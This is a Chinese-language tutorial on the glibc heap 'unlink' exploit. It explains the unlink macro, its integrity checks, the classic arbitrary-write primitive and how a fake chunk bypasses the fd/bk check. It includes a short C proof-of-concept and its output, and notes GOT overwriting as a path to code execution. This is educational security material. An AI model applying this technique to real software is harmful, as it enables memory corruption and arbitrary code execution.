1 概述
Heap unlink exploit
前提是要对ptmalloc堆有一定的了解。
2 Unlink宏
Unlink:用来将一个双向 bin 链表中的一个 chunk 取出来
参数:
AV:arena header(malloc_state)
P :将要unlink的chunk
BK:P后面的chunk <--
FD:P前面的chunk -->
具体过程如下:
将chunk从FD/BK链表中摘除;
如果是large chunk,则将chunk从fd_nextsize/bk_nextsize链表中摘除
安全检查
对于samll chunk,只有前两项检查;
对于large chunk,还有第三项检查;
检查项 | 说明 |
corrupted size vs. prev_size | Chunk size是否一致 Glibc-2.26开始增加此检查;
对于free chunk,有两个地方存放了chunk的大小: 一个是本chunk的size字段; 一个是nextchunk的prev_size字段; |
corrupted double-linked list | 链表指针是否一致 什么时候增加的此检查?
检查这两个条件: P->fd->bk == P P->bk->fd == P |
corrupted double-linked list (not small) | Large chunk链表是否一致
检查这两个条件: P->fd_nextsize->bk_nextsize == P P->bk_nextsize->fd_nextsize == P |
Glibc-2.26中的相关代码如下:
3 classic unlink exploit
1. Unlink主要的操作是将chunk P从FD/BK链表中删除:
FD = P->fd;
BK = P->bk;
FD->bk = BK;
BK->fd = FD;
更简单的描述,就是执行下面两条语句:
P->fd->bk = P->bk
P->bk->fd = P->fd
最初的时候,没有安全检查;
2. 溢出修改Chunk P
设置P->fd = A
设置P->bk = B
3. unlink P时会这样执行:
设置*(A+3*U) = B
设置*(B+2*U) = A
其中U = sizeof(void*)
4. 可以通过 unlink 实现任意地址写
A和B都是用户控制的地址
A+3*U的位置写入了B
B+2*U的位置写入了A
这里隐含的条件是A+3*P和B+2*P必须是可写的地址;
而且一次会修改两个位置,这意味着如果只想修改一个地方的话,会有副作用。
5. 应用场景:
改写got表项,最终造成任意代码执行
4 当前的unlink
1. Unlink的安全检查
对于small chunk,unlink有两个安全检查需要绕过:
l 大小检查
chunksize(P) == prev_size (next_chunk(P))
l FD/BK链表检查:
P->fd->bk == P
P->bk->fd == P
2. 绕过安全检查
假设溢出时这样修改Chunk P
设置P->fd = A
设置P->bk = B
则unlink P时,FD/BK链表检查要求:
*(A+3*U) == P //找到一个地址,+3*U的地方存储的是P
*(B+2*U) == P //找到一个地址,+2*U的地方存储的是P
3. 产生的结果
如果绕过了这个检查,则会产生这样的效果:
P->fd->bk = P->bk //赋值
=> *(A+3*U) = B //A+3*U地址处的值从P改为了B
P->bk->fd = P->fd //赋值
=> *(B+2*U) = A //B+2*U地址处的值从P改为了A
5 unlink exploit实例
本实例来自https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit.html
测试环境为Ubuntu 16.04
【程序说明】
Ø 首先分配了两个small chunk(chunk1 和chunk2),大小为0x80;
Ø 这里假设攻击者可以控制chunk1的内容(通过不安全的函数如strcpy等);
程序在chunk1的数据部分创建了一个假的chunk,绕过了FD/BK链表检查:
unsigned long long *chunk1;
struct chunk_structure *fake_chunk;
fake_chunk = (struct chunk_structure *)chunk1;
fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3);
// Ensures P->fd->bk == P
fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2);
// Ensures P->bk->fd == P
chunk1指针本身位于栈中。
因此,我们找到了一个地址(&chunk1),存放的是chunk1;
为了满足FD/BK链表条件:
*(A+3*U) == P //找到一个地址,+3*U的地方存储的是P
*(B+2*U) == P //找到一个地址,+2*U的地方存储的是P
A(FD)和B(BK)可以这样设置:
A=&chunk1-3*U
B=&chunk1-2*U
Ø 溢出修改chunk2的头部,设置prev_size字段,清除size字段的prev_in_use比特。这可以确保chunk2被释放时,fake chunk被检测到已经被释放(freed),将被unlink;
Ø 内存布局如下图
Ø free(chunk2);
释放chunk2时,会和低地址的fake chunk合并,合并之前,攻击者的fake chunk会被unlink。
unlink会执行以下操作:
P->fd->bk = P->bk //赋值
=> *(A+3*U) = B //A+3*U地址处的值从P改为了B
P->bk->fd = P->fd //赋值
=> *(B+2*U) = A //B+2*U地址处的值从P改为了A
在这里的效果,就是:
*(&chunk1) = &chunk1-2*U
*(&chunk1) = &chunk1-3*U
也就是chunk1指针现在被修改为了&chunk1-3*U了
Chunk1[3] == chunk1 == &chunk1-3*U
内存分布如下:
Ø 攻击验证
现在我们修改chunk1[3]的值,就可以修改chunk1指针
这里将chunk1修改为data,修改chunk1的值就是修改data的值
chunk1[3] = (unsigned long long)data;
strcpy(data, "Victim's data");
// Overwrite victim's data using chunk1
chunk1[0] = 0x002164656b636168LL;
printf("%s\n", data);
Ø 测试结果
millionsky@ubuntu-16:~/tmp/unlink$ ./a.out 0x7ffe9f7bce40 &chunk2=0x7ffe9f7bce48, &fake_chunk=0x7ffe9f7bce50, &chunk2_hdr=0x7ffe9f7bce58, data=0x7ffe9f7bce60 0x13bb010 0x13bb0a0 0x7ffe9f7bce28 0x7ffe9f7bce28 hacked! |
6 附件
7 结论
1. Unlink 的fd/bk链表检查
P->fd->bk = P->bk
P->bk->fd = P->fd
2. Unlink exploit
假设溢出时这样修改Chunk P
设置P->fd = A
设置P->bk = B
则unlink P时,FD/BK链表检查要求:
*(A+3*U) == P //找到一个地址,+3*U的地方存储的是P
*(B+2*U) == P //找到一个地址,+2*U的地方存储的是P
如果绕过了这个检查,则会产生这样的效果:
P->fd->bk = P->bk //赋值
=> *(A+3*U) = B //A+3*U地址处的值从P改为了B
P->bk->fd = P->fd //赋值
=> *(B+2*U) = A //B+2*U地址处的值从P改为了A
3. 一个unlink exploit实例
//待unlink的chunk地址存储在栈上
unsigned long long *chunk1;
因此,我们找到了一个栈地址(&chunk1),存放的是chunk1
A(FD)和B(BK)这样设置,可以绕过FD/BK链表检查:
A=&chunk1-3*U
B=&chunk1-2*U
unlink chunk1后:
*(&chunk1) = &chunk1-2*U
*(&chunk1) = &chunk1-3*U
也就是chunk1指针现在被修改为了&chunk1-3*U了
Chunk1[3] == chunk1 == &chunk1-3*U
8 参考文章
1. https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit.html